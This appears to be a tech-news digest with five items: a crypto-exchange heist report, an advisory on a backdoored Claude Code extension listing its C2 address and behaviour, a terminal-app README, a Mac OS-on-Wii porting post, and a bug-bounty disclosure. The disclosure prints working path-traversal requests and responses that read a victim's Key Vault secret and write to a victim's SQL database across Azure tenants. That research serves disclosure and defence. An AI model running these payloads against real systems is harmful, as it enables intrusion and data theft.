Friday, October 30, 2026 The Daily Front No. #261030 — Twenty Minutes, Billions Missing
article

The $6.3B Binance hack was pulled off in just 20 minutes

by domhudson·▲ 422 points·286 comments·wired.com ↗
the largest digital heist in history

Multiple crypto-tracing firms say notorious North Korean hackers TraderTraitor may be behind the largest digital heist in history—with billions of crypto likely gone for good.

Image may contain Key

Photo-Illustration: Wired Staff; Getty Images

Cryptocurrency firms and investigators are racing to freeze and track down billions of dollars of stolen digital cash following what appears to be the largest crypto heist of all time. On Thursday, starting at around 4pm ET, hackers started quickly siphoning around $6.3 billion in cryptocurrencies, spread across multiple blockchains, from wallets belonging to crypto exchange Binance.

Following the theft, Binance almost immediately suspended all deposits and withdrawals from its services as part of its investigation into the hack and says it is working to identify who was behind the breach. The company, along with other crypto firms, says it has so far been able to freeze around half of the stolen funds—essentially stopping hackers moving the money further or trying to cash it out. Much of the remaining crypto may not be possible to freeze, however.

Three crypto tracing firms have been quick to link the attack potentially to North Korean hackers. “We think North Korea is likely responsible,” Tom Robinson, chief scientist and cofounder of Elliptic, tells WIRED. “If North Korea is behind it, this one theft would almost double everything the regime has stolen in crypto to date.”

The majority of the stolen crypto was taken in a period of around 20 minutes on October 29, according to analysis by crypto tracing firm TRM Labs. Wallets belonging to Binance across at least ten blockchains—including Ethereum, Bitcoin, Tron and Solana—were drained and sent to multiple addresses controlled by a single attacker, according to TRM’s analysis. “Preparation began at least 36 hours before the theft,” TRM says in a blog post. The company says one of the attacker’s wallets received three small withdrawals during a test period, before later expanding the operations.

“Early on October 29, the operator deployed a first piece of code for the attack and tested it on two wallets,” TRM says. “Later that day, it rehearsed the final version on a third wallet, then routed the test funds back to itself. Four hours after that rehearsal, the same code was installed on a Binance hot wallet.” Hot wallets are cryptocurrency wallets that are internet connected and allow crypto exchanges to handle customer withdrawals. Analysts say the funds were drained from hot wallets across the impacted blockchains.

The tactics used in the hack appear to mimic previous methods used by an elite subset of North Korean hackers, known by the name TraderTraitor. Crypto tracing firms TRM Labs and Chainalysis both say they believe TraderTraitor may be behind the attack, while Robinson says Elliptic hasn’t specifically tied it to the group but sees overlaps in the activity.

Neither Binance nor law enforcement officials have named any suspected links between the attack and North Korean hackers. Over recent years, North Korean hackers have repeatedly targeted cryptocurrency firms and stolen hundreds of millions in crypto heists. Multiple North Korean hacking groups can target companies in the sector, but TraderTraitor have become specialists, pulling off infrequent but high profile attacks.

Within North Korea’s sprawling hacking operations—often designed to earn money for the highly sanctioned and repressive regime—TraderTraitor has stood out in recent years for its sophistication and targeting of crypto and decentralized finance companies. Last year, the FBI named TraderTraitor as being responsible for the $1.5 billion hack against crypto exchange Bybit.

Binance did not answer WIRED’s questions about whether it believes North Korean hackers are behind the colossal heist, pointing towards a statement saying it will cover all losses from the hack and is working with law enforcement officials to identify who is responsible.

“Our initial investigation suggested that the security incident may have involved a compromised laptop, however, our subsequent investigation has uncovered additional points of breach,” the company says in a statement. “This was a complex attack, and we are doing all we can in coordination with law enforcement to resolve it.”

“These folks in particular are somewhat artists in terms of getting into these distributed finance organizations,” Rafe Pilling, a senior director of threat intelligence at security company Sophos, tells WIRED. “TraderTraitor seems to focus on these larger operations. In the past, they’ve developed their own fake applications and tried to use those to get inside organizations.”

TRM and Chainalysis have initially linked the attack to TraderTraitor and say the determinations are based on their analysis of both on-chain and off-chain activity. “​​The strongest evidence emerged when Chainalysis investigators observed, in real time, funds stolen from Binance commingling with funds stolen in last month’s Bitget exploit, which had been attributed to North Korean actors,” a research blog from Chainalysis says.

“Binance says the attack began with a compromised engineer’s laptop. Targeting crypto company staff is a TraderTraitor hallmark,” Elliptic’s Robinson says. “The attacker funded their wallet through Tornado Cash and rehearsed the attack in advance, as in Bybit.”

While around $3 billion of cryptocurrency was initially frozen in the aftermath of the attack, it is likely those behind it could still potentially take away huge sums as not all of the stolen crypto can be frozen. Research from Chainalysis says the company is seeing money “laundering patterns we have not seen before” and that thousands of transactions being quickly processed indicates that they are using “automation to obscure the trail of funds.”

Elliptic’s Robinson says that around $2.8 billion, or around 44 percent of the total amount stolen, has been frozen by crypto companies and exchanges so far, with almost all of this being stablecoins. “The remaining $3.3 billion is mostly Bitcoin, Ether, and XRP, which no one can freeze,” Robinson says. “It can only be stopped when it reaches an exchange or other service. Some will be caught over the coming months, but I don’t expect the frozen share to rise much further.”

The Daily Front Page 6 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Another Account of the Claude Breach
article

Claude Code VS Code extension with backdoor released on Cursor marketplace

by bashtoni·▲ 399 points·1 comments·doublepulsar.com ↗
delivering a remote access trojan via an SSH reverse backdoor

Yesterday, Anthropic were compromised via a Cursor VS Code extension used by tens of millions of developers for Claude access was delivering a remote access trojan via an SSH reverse backdoor. The malware allowed hands on and automated remote access to developer laptops and desktops, in a supply chain attack.

Anthropic has not informed customers, and the malicious version was silently deleted without telling anybody.

Update: Anthropic say the breach was Cursor:

“A malicious actor used access to Cursor’s marketplace to publish a tampered extension targeting Cursor’s users, we were not involved with building, publishing, or hosting this”

The extension itself auto updated in Cursor to the malicious version. Cursor say around 5000 developer systems were impacted.

Phorion were the first to notice the malicious activity on endpoints:

Official Claude Code Extension Compromise: Security Advisory | Phorion

Phorion has detected a backdoor in the official Claude Code for VS Code extension bundle on the Cursor Marketplace that…

phorion.io

The compromised version was 2.1.313. This version was replaced 8 hours ago by Anthropic, with version 2.1.314, which appears to remove the backdoor from the extension but I’m not sure if it still contains no malicious code. It does not remove the SSH backdoor from systems already infected, nor the prior recon activity.

Cursor has admitted the issue:

Security notice - malicious version of Anthropic.claude-code (2.1.313) identified in the Cursor…

Today we identified a security incident involving a specific extension package in the Cursor VS Code extension…

cursor.com

a maliciously modified version of Anthropic’s Claude Code extension was made available in the Cursor VS Code extension Marketplace. The extension runs malicious code that attempts to install a persistent SSH backdoor. Specifically, it:

Collects host and user information: hostname, username, OS, architecture, home directory path, environment variable names, working directories, configured Git email, and public IP.

Attempts to add an attacker-controlled SSH key to authorized_keys, enable the local SSH service, and open a reverse SSH tunnel. Outside of highly unusual circumstances where Cursor was started with administrator privileges, due to errors in the malicious code, this step would fail.

Attempts to make the reverse SSH tunnel persistent via a LaunchAgent (macOS) or a scheduled task that attempts to run as SYSTEM with a Startup-script fallback (Windows). Background scripts retry the tunnel roughly every 60 seconds.

Reports host details and backdoor status via HTTP POST to /beacon on port 8099.

To hunt for the malicious version with Microsoft Defender for Endpoint, I have published KQL queries:

ThreatHunting/AdvancedHuntingQueries/AnthropicSupplyChainAttack.kql at master ·…

Tools for hunting for threats. Contribute to GossiTheDog/ThreatHunting development by creating an account on GitHub.

github.com

There is some wordsmithing in the Cursor blog, for example: “This malicious version of the extension was not developed by Anthropic” — it was, in fact, uploaded as Anthropic’s verified account. “Developed” is doing some heavy lifting — of course Anthropic didn’t develop the backdoor, there was a security incident leading to a supply chain attack. According to Anthropic the security breach was at Cursor.

Notable customers who run Claude Code and Cursor on laptops include Binance, amongst thousands of others.

This is an emerging situation, follow me on Mastodon for updates — @gossithedog@cyberplace.social:

Cyberplace

@GossiTheDog invites you to join this server of Mastodon! With an account, you will be able to follow people, post…

cyberplace.social

Network IoCs:

  • VSIX SHA-256 (darwin-arm64 — Mac): 432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62
  • Modified VSIX SHA-256 (win32-x64): 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081

Network

  • Reverse SSH tunnel: 134[.]209[.]82[.]225 port 22
  • C2: hxxp://134[.]209[.]82[.]225:8099/beacon (HTTP POST)
  • Local beacon attempt: 127[.]0[.]0[.]1:8099/beacon (HTTP POST, loopback)
  • Public IP lookups to ifconfig[.]me / api[.]ipify[.]org — legitimate services; access alone is not an indicator
The Daily Front Page 7 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — The Terminal Desk
repository

Herdr has released native app

by cherioo·▲ 351 points·245 comments·github.com ↗
★ 1,029⑂ 91 forks Rust

herdr desktop app

Herdr is a desktop app for terminals and coding agents. Keep work in spaces, see which agents need you, and leave terminals running when you close the window.

Install

Linux and macOS

curl -fsSL https://releases.herdr.dev/app/install.sh | sh

Linux needs a desktop session and a working Vulkan driver. macOS builds are available for Apple Silicon; Intel Mac users can build from source. Linux builds are x86-64 and ARM64.

The installer adds Herdr to your apps and puts the command in ~/.local/bin. Add that folder to your PATH if the installer asks. On macOS the app lives in ~/Applications/Herdr.app. For drag-and-drop installation on Apple Silicon, download Herdr.dmg and drag Herdr to Applications.

Windows

Run in PowerShell on x64 Windows with curl and tar installed (Windows 10 1803 or newer):

irm https://releases.herdr.dev/app/install.ps1 | iex

Herdr appears in the Start menu. The installer adds %LOCALAPPDATA%\Programs\herdr-app to your user PATH. Open a new terminal to pick it up.

Both installers download and run code. Read the shell installer or PowerShell installer first if you prefer. They also install herdr-core if it is missing. The app can help install or update a core it cannot use.

Find your work

A space holds work on one machine, usually in one repo. Each space has tabs. Split a tab into panes to put terminals or mod panels beside each other.

An unnamed space follows its first terminal's folder. Name a space or tab when you want a label that stays. New tabs start in the focused terminal's folder.

The agents sidebar brings agents from your spaces into one list, including workers started by another agent. Agents that report status show as:

  • Working: still busy.
  • Blocked: waiting for you.
  • Done: finished while you were looking elsewhere.
  • Idle: not working, or a finished agent you have looked at.

Click an agent to see it. A worker without a pane opens in peek, over your tab. Keep it as a tab if you want it beside your other work. Ctrl-click a live terminal address in terminal text to peek at it; use Cmd-click on macOS. An address such as t7 means a terminal on the same machine as the terminal showing it. vps/t7 names one on another machine.

The window arranges terminals. The core runs them. Closing the window leaves them running; closing a pane or tab ends their terminals. After a reboot or core crash, kept panes get fresh shells in their last folders, not their old programs.

Work on another machine

Add an SSH machine from Settings → Machines or the sidebar's Add machine action. Pick a host from your SSH config or type how SSH reaches it. Spaces on that machine run their terminals there, not on your computer.

Each machine keeps its spaces, tabs and splits in its core. Connected screens share that structure and the live terminals, but keep their own focus and zoom. Remote work keeps running when your local window closes or your laptop sleeps, as long as the remote machine and core stay up.

Make it yours

Open the command palette to find an action by name, or open Settings to change fonts, colors, sounds and other preferences. The built-in layouts include Herdr, Terminals and Herdr 98. A layout arranges the window. Mods are small JavaScript programs that draw its panels, menus and dialogs.

Duplicate a shipped layout or mod before changing its structure or code. Your copies stay yours; Herdr updates the shipped ones on start. Save a personal layout, mod or key file and the window reloads it. A broken edit keeps the last good version and reports the error.

Ctrl+Shift+P shows every command and its key (Cmd+Shift+P on macOS). Change any key in keys.json; see the keys section of the mod guide for the format.

Layouts and mods · Commands

Updates and privacy

Installed releases check for updates in the background and download a new app beside the running one. It takes over when you quit and reopen, or choose the update action. Your terminals keep running in the core. Settings → Updates shows what is available. What's New opens after an update; you can open it again from the command palette. Builds from source do not update themselves.

Usage telemetry is on by default in releases. Turn it off in Settings → Privacy. Mods are trusted code, not sandboxed extensions. Read security and privacy before installing someone else's mod.

For agents

herdr-app --skill

This prints the agent guide for driving the window. The herdr-core skill points agents here. Use herdr-core for running and coordinating programs; use the app to change what you see.

herdr-app ls
herdr-app status
herdr-app commands

The first two inspect the open window. The command list also works without one. See the command reference for arguments.

Build from source

For bugs, mod API requests and code contributions, see Contributing.

Clone this repo with its submodules. Use Rust 1.95.0 and Zig 0.16.0, the versions used in CI. Linux needs the development packages listed in that workflow.

git clone --recurse-submodules https://github.com/herdrdev/herdr-app.git
cd herdr-app
just build
just test
just install

Install just to use these recipes. The platform installer builds a release and adds the app to your desktop. On Linux it links to this checkout, so keep the checkout in place. Quit and reopen Herdr to use the new build.

Documentation checks also need Bun: just docs-check checks generated pages and CLI examples; just docs-generate refreshes the reference pages.

To compare drawing changes on Windows, Linux or macOS, run the same fixed workloads against each build:

python scripts/bench.py --bin <app executable> --set spinners --seconds 20

The runner requires hc on PATH and uses the Python executable running the script. It prints a unique artifact folder with the run settings, counters and results, then stops its private app, terminals and core. Both sets use Python fixture programs; the default set’s TUI workload replaces historical btop measurements. --only spinners measures just the quiet native spinner scenario. Keep the window visible and the display awake, and compare the same window activity and display settings; inactive windows may draw at a lower rate. Windows records visibility, foreground activity and display Hz at each measurement boundary; other platforms mark these observations unavailable. Visibility does not establish occlusion. Draws are window render calls. Render-to-paint elapsed time stops before scene finalization, backend drawing, uploads and presentation; it is separate from OS process CPU time. Neither measures physical presentation or the FPS HUD’s derived MAX FPS.

python scripts/bench_compare.py ghostty --root <artifact folder> reuses a run’s fake agent for the macOS comparison. Benchmark checks: python -m unittest discover -s scripts -p test_bench.py.

The Daily Front Page 8 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Clouds With Cracks
article

Azure's Weakest Link – Five Full Cross-Tenant Compromises

by swq115·▲ 302 points·58 comments·binarysecurity.no ↗
each giving the same primitives to the attacker

In my previous blog posts, Azure’s Weakest Link? and Azure’s Weakest Link - Full Cross-Tenant Compromise, I gave an overview of the severely insecure architecture behind API Connections in Azure, a part of Azure Logic Apps, and an instance of a full cross-tenant compromise using these inherent flaws. Now I am back with some more vulnerabilities in this system, each giving the same primitives to the attacker. In total, the vulnerabilities here netted me a cool $200,000.

I also held a talk detailing this at Blue Hat Asia 2026, and when the recordings are out, I will add a link here.

TL;DR

API Connections allow anyone to fully compromise any other connection worldwide, giving full access to the connected backend. This includes cross-tenant compromise of Key Vaults and Azure SQL databases, as well as any other externally connected service, such as Jira or Salesforce. The only thing stopping exploitation is really the layers of input validation bolted onto the various systems, but as you will see, it is really difficult to catch all the edge cases here.

Architecture

If you haven’t read the first parts of this series, Azure’s Weakest Link? - Part 1 and Azure’s Weakest Link - Full Cross-Tenant Compromise, but if you don’t care, I will go through the most important parts of the architecture first.

From Microsoft’s documentation, we see a quite intriguing diagram of how the API Connection architecture is built.

Microsoft's documented infrastructure

This basically spells out all that is needed to understand how the system operates, kudos to whoever made it!

It works like this

  1. A logic app, the symbol on the bottom left, queries a shared Azure API Management instance
  2. The API Management instance first checks the swagger (OpenAPI) definition of the connector type and checks that it is a valid action
  3. A sort of key exchange happens where the input token, or key, is exchanged for the configured token for the backend service
  4. The API Management instance finishes the call with this new token to the backend instance.

From this, we can surmise that if we are able to trick the API Management instance to operate on a different connection than the ones we own, we would be able to effectively use the configured token for a victim’s connection on their backend service.

This service can, in effect, be anything. As you can see here, the list of backend services is effectively unbounded and includes a number of Azure services.

However great the diagram is, there is one crucial omission, which we have already used to great effect in part 2 of this series. By using the ARM REST API DynamicInvoke or /extensions/proxy/ endpoints, we can directly query the APIM service through ARM. I have taken the liberty of updating the diagram to match this.

Updated Connector Architecture

Considering this, and the fact that, as a resource manager, ARM basically has full access to everything, our exploitation pathway becomes clear. We must trick the calling service into querying a different connection than ours, and thus get full control of the backend service.

Caveat: It is, of course, possible for the people who set up these connections to scope their access tokens or keys so that the API Connection has minimal privileges in the backend. I would guess, however, that this is rarely done. In the case of OAuth connections, it will surely always be the token of the person who initially made the connection. And for the API key case, well, who cares enough to scope such things minimally? Microsoft doesn’t, at least.

Initial Exploitation

The first cross-tenant exploitation I achieved in API Connections, and in fact in Azure as a whole, has already been described in part 2. As a recap, here is an example payload using the DynamicInvoke endpoint of my own connection to read the Key Vault of a different tenant.

POST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 147

{
    "request":{
        "method":"get",
        "path":"path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/fd8d0f4f4069495991ccb4974f96a1ed/secrets/victimsecret/value"
    },
}
HTTP/2 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 1329


{
    "response": {
        "statusCode": "OK",
        "body": {
            "value": "dontreadme",
            "name": "victimsecret",
            "version": "7914d45aa60342809fb8cc12dc68b10e",
            "contentType": null,
            "isEnabled": true,
            "createdTime": "2025-04-04T05:38:26Z",
            "lastUpdatedTime": "2025-04-04T05:38:26Z",
            "validityStartTime": null,
            "validityEndTime": null
        },
        "headers": {
            <Headers>
        }
    }
}

As you can see, it’s a pretty clear path traversal vulnerability. This implies what we already assumed: When the request fires from ARM to the APIM instance, it has rights to all connections, regardless of what it operates on.

Further exploitation

A couple of weeks after I reported this vulnerability, it got marked as fixed, and when I tried it again, the following error message greeted me:

Vulnerability fixed by restricting the path

Now, I considered whether or not this was a sufficient fix. It seemed to restrict the paths allowed, rather than the underlying token issue, so I guessed there would be ways around it.

An interesting little fact about the ARM API is that, in some cases, it might not be as much of a black box as you assume. The relevant code can sometimes be found within the resource types themselves. I do not know whether this code actually executes on these machines or is merely included as an artifact, but it is a gold mine of interesting information. So, I created a Standard Logic App, which provides a fully dedicated host, SSHed into it, and extracted the code. Lo and behold, look what I found:

The validation code paths include a check for ../

Can you see the fix they implemented?

What was even more interesting here actually was something I found, and was not really even looking for. When searching for the actual DynamicInvoke code, what greeted me was not actually just this one public function, but four:

I found other function definitions right next to Dynamic Invoke

These functions are completely undocumented, and I could find no reference to them anywhere. However, they were reachable and located along the same path. So, for instance, to hit DynamicList here, simply change dynamicInvoke in your URI to DynamicList.

Knowing that the slap-dash blacklisting fix that they implemented only applied to DynamicInvoke, I assumed that these would all be vulnerable in the same way if they had the same functionality. Without boring you too much with the required arguments and return values here, the exploitation method is really quite the same, although the payload is a bit more involved. For DynamicList, you need to specify each path parameter on its own and do a bit of work to get a result, but the same logic applies. To achieve, for instance, a cross-tenant write on a victim’s SQL server through their connection, a payload like this works:

POST /subscriptions/162fc6db-03cd-4fe8-ab44-dc0a947e74af/resourceGroups/api-connection/providers/Microsoft.Web/connections/custom_validator/DynamicList?api-version=2018-07-01-preview&_=1765372176638 HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Length: 524
Content-Type: application/json


{
    "dynamicInvocationDefinition": {
        "operationID": "nine",
        "parameters": {
            "one": {
                "value": ".."
            },
            "two": {
                "value": ".."
            },
            "three": {
                "value": "sql"
            },
            "four": {
                "value": "88d28f5ff7b642cfb91df184938d074c"
            },
            "five": {
                "value": "v2"
            },
            "six": {
                "value": "datasets"
            },
            "seven": {
                "value": "victimservice.database.windows.net,VictimDatabase"
            },
            "eigth": {
                "value": "query"
            },
            "nine": {
                "value": "sql"
            },
            "query": {
                "value": {
                    "query": "Insert INTO MySecrets VALUES ('NewEvilSecrets', 3)"
                }
            }
        },
        "ItemsPath": "ResultSets/Table1",
        "ItemValuePath": "secrets",
        "ItemTitlePath": "value"
    }
}

You can quite easily see that the first parameters here execute the path traversal and then perform an arbitrary SQL query on the database.

I reported only the DynamicList case first, in the hope that they would perform a similar fix to DynamicInvoke and I would get to report on the other two as well. Sadly, their fix involved simply blocking all these endpoints. No other mitigations seem to be in place, however, so if these endpoints ever become accessible again, I would assume they would be vulnerable.

Further exploitation

Messing around with paths in these dynamic calls seemed to have reached its conclusion: I couldn’t get past the path limitations on DynamicInvoke, and all the other endpoints were blocked. What I needed was a different way in. As I was trying to sleep one day, it occurred to me that I had overlooked using the Logic Apps themselves. I realized that there was, in fact, a significant difference between the Consumption and Standard Logic Apps connection-creation flows. The most glaring difference is that Consumption Logic Apps, where your workflow is co-located with a bunch of others, create a Version 1 connection, while the dedicated-host Standard Logic Apps create a Version 2 connection. The following diagrams make a more subtle difference between the flows clear:

The V2 Connection Creation Flow.

The V1 Connection Creation Flow.

Do you see the difference? Obviously, when it’s spelled out like that, it’s pretty clear what the point is. Using a Standard Logic App, after we have created the resource and added whatever authentication to the backend server we need, we authorize that specific logic app to access it using its managed identity. However, when we have a Consumption Logic App, we don’t have any such identity to authorize because we don’t control it. This perhaps makes some sense: we can’t authorize it, so we don’t.

I realized that this must imply that every Consumption Logic App has implicit access to every Version 1 API Connection; the only thing stopping us from exploiting this must be some sort of input validation.

The classic view of a Logic App workflow is quite restrictive in its input, but there are both the API endpoints, and the Code view in the GUI that allow us to play around a bit more with the inputs.

The code view allows for more fine-grained control.

This allows us to see the inputs in more detail, edit them, and even add more. The obvious trick of changing the referenced connector to a victim’s connection fails, as the runtime performs extensive validation that you own the connection. We have the codebase, though, so we can try to find all the valid parameters. It did not take much searching for me to discover the host.api.RuntimeUrl parameter.

I can’t quite get my head around why this parameter is included, nor why it’s still accepted to this day, but it works in the way you would expect. After performing a series of validations on the connection referenced in host.connection, you can specify that it should use something completely different instead of the runtimeUrl baked into that connection. As long as the host ends with azure-apihub.net, it will also include the required Authorization header.

Instead of using the connection's runtimeUrl, use a different one.

What happens when this workflow is run then?

The victim's secret is returned.

The keen-eyed reader might notice that the runtimeUrl used in the exploit is not just the connectionId. This is because some extra elements get added to the URI, but it is of no consequence to us; the exploit works fine.

Manna from the heavens

I, of course, reported this to Microsoft again, and they spent some time working up a fix. When it finally came through, the exploit returned an error message:

The host API runtime URL is not valid for the API connection '/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/keyvault-1'. The runtime URL path must match the expected API endpoint 'https://logic-apis-norwayeast.azure-apihub.net/apim/keyvault/cbfb0f4313144117a7440368902bb871?' for the referenced connection. Either omit the 'host.api' input property, or correct the runtime URL to match the API associated with the connection.

Except for the excessive length of this message, it seems like quite a suitable fix. The runtime URL must exactly match what is expected; otherwise, no dice. Apart from just removing the parameter altogether, it’s quite sane. Unless, of course, it checks that value at the wrong time:

Path traversal in RuntimeUrl.

This works again, with the same result. What’s going on here is that the validation happens before the path is normalized, so the runtime thinks the URI is pointing to my referenced connection, but the APIM instance sees it differently.

And just like that, I got another critical vulnerability.

The fun does not stop there. When Microsoft managed to scrape together a fix for this path traversal, a surprising thing happened. The original RuntimeUrl path was no longer validated, and as a result, you could perform that attack again. I would include some pictures, but they would be the same pictures as above, so you can just imagine them.

Reporting and rewards

Altogether, API Connections have netted me five critical elevation-of-privilege vulnerabilities in Azure, which is perhaps more than expected. All vulnerabilities reported here were fixed within a reasonable time after I submitted the reports, and while there were some disagreements with MSRC along the way, overall, I am quite happy with the results.

The Daily Front Page 9 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — A PowerMac in Wii Clothing
article

My favourite PowerMac is a Nintendo Wii

by DHowett·▲ 294 points·80 comments·virtuallyfun.com ↗
my work porting classic Mac OS to PowerPC systems

Mac OS 7.6 booting on the Wii

Mac OS 9.2.2 booted on the Wii

So today I reached a nice milestone in one of my projects: my work porting classic Mac OS to PowerPC systems with what I affectionately call ArtX chipsets (Nintendo GameCube, Wii, eventually Wii U; the GameCube’s Flipper integrated chipset was very much designed by ArtX as it was effectively finished when ATI acquired the company, and the Wii’s Vegas (and its later revision Bollywood) and Wii U’s Latte are effectively straight successors) reached the desktop for the first time, most likely the first time since the CHRP clone era that someone outside of Apple brought up classic Mac OS on a new system to the desktop. Despite still being nowhere near ready for a public release, I want to talk about the challenges I faced with this project so far.

But first, why port classic Mac OS to this hardware in the first place? I’d already ported NT of course, and during that work I acquired some PowerPC Mac laptops which I also ended up porting NT to, work on one port improved the others and so on. This got me acquainted with the classic Mac OS, and I fell in love with the jank as it were (hacks upon hacks upon hacks going back to the 1980s is something I’d definitely describe as “jank”). Not to mention the m68k part of the TBXI is called “SuperMario”, and was for the entire PowerPC era. I wonder if a developer was a fan in the early 1990s?

Also, for the record: I started this project on 2025-06-22 (when I forked upstream openbios), no kind of coding agent or LLM was used, all coding, reversing and debugging work done by myself. I do these projects for fun and to learn, if I used “AI” it wouldn’t be fun and I wouldn’t learn anything.

Let’s start with the initial boot. “New World” classic Mac OS starts out with a bootloader called the “Trampoline”, which runs on an Open Firmware environment. So I needed to port OpenBIOS. Luckily, around this time Goldfish64 had started his own port of Mac OS X to the Wii, and he’d made an OpenBIOS port that I could use some drivers from, although for various reasons I didn’t just want to use his port directly (which was only targeting Wii/Wii U, I wanted to target GameCube too). I also decided to reuse some existing code to make some driver development easier (specifically the display driver), and thus changed my existing NT ARC firmware loader to load a big endian ELF instead.

I needed some small number of disk drivers for initial bringup, so decided to port my two drivers for devices on the EXI bus (this is just Nintendo and Macronix’s name for SPI), the “SD Gecko” (which is just a straight through adapter for a GameCube memory card slot allowing for SD over SPI), and the “EXI-IDE” (my driver is actually not correct to real hardware, but to my inaccurate emulation in my Dolphin tree allowing for testing under emulator with the low level debugging support that implies).

I wasn’t sure what kind of on-disk format I wanted to use (these drivers on my earlier NT port ran entirely using disk images on a FAT filesystem, due to the requirement for compatibiltiy with existing homebrew loaders that load executables from FAT filesystems, but this would naturally be limited to 4GB images for FAT32, and later versions of classic Mac OS needed more), so for initial testing I just took the “Mac OS ROM” TBXI file and placed it directly on a FAT filesystem as \ppc\bootinfo.txt for OpenBIOS to load it on boot.

So with that I could get the Trampoline running. I decided that I should try and apply as many patches to the image as possible as close to run-time as possible, so mostly untouched existing CD images could be used eventually.

The first issue I had was that the Trampoline makes some assumptions of the physical address space layout that are not true for this system. The physical address of a buffer gets calculated as an invalid address, so I patched that to an address guaranteed to be valid, and also the corresponding code setting up the memory chunk list/page table entries for the kernel.

Additionally, the Trampoline expects that physical addresses from 0x8000_0000 onwards corresponds to memory mapped I/O (on existing systems this code ran on, this would correspond to PCI-bus address space). This is not the case here, and in fact on Wii U, this address would correspond to part of RAM. There was also another assumption that broke on these systems, with holes between areas of RAM in the physical address space, some of which were partially filled by memory-mapped I/O.

The way I fixed this was to patch the initialisation of this MMIO mapping in the kernel memory chunk list, to a map of physical address 0x0100_0000 (partway through one area of RAM) to virtual address 0xE000_0000, with length 0x1000_0000. This specifically maps the whole of the MMIO, plus the end of one RAM area and (for post-GameCube systems) the start of another. (I may change this in future, as on the Wii U, physical address range 0xD000_0000-0xEFFF_FFFF is mapped to a part of the Radeon R7xx GPU called “HDP”, which can be used to map a view of physical memory with specific swizzling and/or endianness swapping, such that a texture in some GPU-specific format can appear to be a linear framebuffer. It depends on whether I need to use this block ) The function used for initialising a mapping in the Trampoline changed at some point and I ended up detecting the older version and hooking the function so I could work around it (earlier versions used a 16-bit page count, later versions used 32-bit). Additionally, older versions of the Trampoline sets up unconditional 1:1 mappings for physical memory above 0x8000_0000, which needs to be removed as they conflict with the mappings set up earlier.

There follows various assorted patches that assume specific hardware. These include: patching out setting some bitflags which correspond to the presence of a microcontroller found on all PowerPC Macintosh hardware, attempting to recalculate the bus frequency using a specific hardware timer, and various register writes and fixups related to a specific interrupt controller device (it’s little endian because it’s on the PCI bus, and naturally, not present here).

Finally, the final call to jump into the loaded kernel initialisation code is hooked so additional patches can be made later after everything is loaded into memory.

Additionally, the device tree must be hacked up a bit to be in a shape the Trampoline will accept. The interrupt controller is faked to be one of the recognised ones (the little endian one from above, because at a register level it’s closest to the Flipper interrupt controller present on all the ArtX chipsets, albeit on Wii U it was changed somewhat to add support for the additional PowerPC cores). The address of the frame buffer in the device tree is changed to the uncached virtual address (in the 0xExxx_xxxx mapping), and finally a fake Mac99-compatible power management device is added to the device tree, so the Trampoline prepares a power management driver for it, that can be replaced later.

As mentioned above, the kernel initialisation is hooked so extra patches can be made. On the kernel side, there is only one patch to be made: the kernel contains several interrupt controller drivers, the one chosen is patched to match the Flipper interrupt controller, with one of the unused ones sacrificed to gain more space for this. The main difference here is that the expected interrupt controller (whose driver is patched) has a legacy mode where it raises a PowerPC interrupt whenever the interrupts change (not just when interrupts are raised) so this needs to be worked around by masking the raised interrupts in the kernel and then unmasking them later on in drivers’ interrupt handlers.

Additional patches are made in the “SuperMario” m68k code, and in PowerPC native executables. The m68k code has various codepaths that read and write directly to native interrupt controller registers, these need to be patched. The function pointers for enabling and disabling audio interrupts need to be stubbed out (there’s already an entry in that table that points to a stub, which is helpful). A function called early in the boot process to initialise the ADB and power management microcontroller does not check if the hardware actually exists, and if it doesn’t it clobbers parts of low memory. A function for initialising hardware interrupts has a bug due to a copy-paste blunder, the intent was to skip past the code for initialising the interrupt for serial port 2 if the hardware isn’t present, but the developers forgot to change the jump label when copy-pasting the code from serial port 1, which causes an infinite loop if serial port 2 doesn’t exist. As for native code, there’s more code that reads and writes to interrupt controller registers which needs to be correctly patched. The USBShimKeyboard driver initialisation code fails to handle the state where no USB controller exists and in that case will call a NULL pointer inside the m68k emulator. The power management driver mentioned above is also replaced entirely here (currently I use the stub driver from BlueBox but plan to write my own later to add proper support for shutting down and restarting).

All of this is enough to get the TBXI to boot to blinking floppy – after that I wrote a display driver (thanks to Elliott Nunn for his virtio driver, it was very helpful) so I could see it correctly, followed by a driver for the gamecube controller ports (porting from my NT driver for the same) so I could move the mouse cursor around without USB.

At this point I started to implement a block IO driver (for EXI devices), but ended up getting stuck thinking about how to deal with how the disk format should be laid out and how the driver should work. Then Mac OS for CHRP got dumped, and I got sidetracked with patching up the later TBXI images to boot it, thinking running 7.x would be useful on a GameCube which doesn’t even have enough RAM to support 8.0 at minimum requirements, and after that I got sidetracked with other projects. Almost a year later I came back to it, implemented my preferred disk format in OpenBIOS and decided to hack up a driver faking SCSI (some other drivers did this, most notably classic Mac OS drivers for various SATA controllers). There were a few issues I found when writing the fake-SCSI driver too: I had to add another patch to the m68k code to force loading the disk driver (and I mean this, a driver loaded from the disk itself, basically implementing the actual disk devices on top of some partitioned block device) as a newer type rather than the older type (the older type was effectively obsolete when the first PowerPC systems released anyway, and I don’t even support the old-style calls from my fake SCSI driver, which is probably why it crashed trying to load it as an older type driver), and also found an interesting quirk where the optical disc driver (loaded from the block device itself) emulates 512-byte sectors on 2048- or 2352-byte sector block devices by making a read call setting up 3 scatter-gather buffers, except it never checked if the underlying SCSI driver actually supports scatter-gather, so I had to implement support for that on reads.

